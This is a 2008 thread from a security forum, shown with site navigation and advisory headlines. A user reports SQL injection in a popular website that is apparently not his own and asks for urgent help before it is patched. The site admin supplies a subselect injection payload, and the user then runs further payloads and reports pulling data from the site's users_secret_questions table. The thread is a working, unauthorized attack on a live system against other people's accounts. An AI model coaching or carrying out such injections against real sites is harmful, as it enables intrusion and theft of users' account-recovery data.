Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: October 21, 2025 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 502 Members: 0 Total: 502 Full disclosure CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS apis.google.com - Insecure redirect via __lu parameter(exploited in the wild) Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS) [SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal [SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files CVE-2025-59397 - Open Web Analytics SQL Injection Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? 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Secure Enclave Key Theft, Wormable RCE, Crypto Theft Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow IT Security and Insecurity Portal www.waraxe.us Forum Index -> Sql injection -> SQL Injection, help, ASAP View previous topic :: View next topic SQL Injection, help, ASAP Posted: Mon May 26, 2008 3:11 pm Oilik Active user Joined: Mar 05, 2008 Posts: 35 Hello, I found a potential SQL injection in an extremely popular large site. When I inject code in it, I get: Quote: result = 20276 An Error Was Encountered Error Number: ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^ INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --') Please help ASAP, seeing this most likely will be patched within an hour! It's using PHP, so no stacked commands. Is there anything I can do? Re: SQL Injection, help, ASAP Posted: Mon May 26, 2008 3:27 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Oilik wrote: Hello, I found a potential SQL injection in an extremely popular large site. When I inject code in it, I get: Quote: result = 20276 An Error Was Encountered Error Number: ERROR: syntax error at or near "' ; --'" LINE 2: VALUES ('48753', '5','blah' ' ; --') ^ INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48753', '5','blah' ' ; --') Please help ASAP, seeing this most likely will be patched within an hour! It's using PHP, so no stacked commands. Is there anything I can do? Is it mysql, right? If it's >= 4.1, then maybe you can use subselects. Something like this: Code: 0'+(SELECT COUNT(*) FROM mysql.user)/* Can you see "answer" after you inserted it do database. If so, then visual feedback is OK. If no, then blind injection may be needed. Last edited by waraxe on Mon May 26, 2008 3:28 pm; edited 1 time in total Re: SQL Injection, help, ASAP Posted: Mon May 26, 2008 3:28 pm Oilik Active user Joined: Mar 05, 2008 Posts: 35 edit: still exists, but when I try that, I get Quote: ERROR: unterminated /* comment at or near "/* ') " LINE 2: ...ES ('48767', '1','0'+(SELECT COUNT(*) FROM mysql.user)/* ') ^ thanks! Posted: Mon May 26, 2008 3:40 pm Oilik Active user Joined: Mar 05, 2008 Posts: 35 sry for the double post, but I tried Code: 0'+(SELECT COUNT(*) FROM mysql.user));-- and got Code: An Error Was Encountered Error Number: ERROR: schema "mysql" does not exist INSERT INTO users_secret_questions (user_id, question_id, answer) VALUES ('48772', '1','0'+(SELECT COUNT(*) FROM mysql.user));--') please help, i'll share the ownage with you at the end :p Edit: I used Code: 0'+(SELECT user_id FROM users_secret_questions WHERE answer = 'hello' LIMIT 1));-- and I went in to check the plaintext of the security question. I got the first of users_secret_questions user's ID as my ASQ! I'm working on retrieveing better data right now. Thanks waraxe!!! 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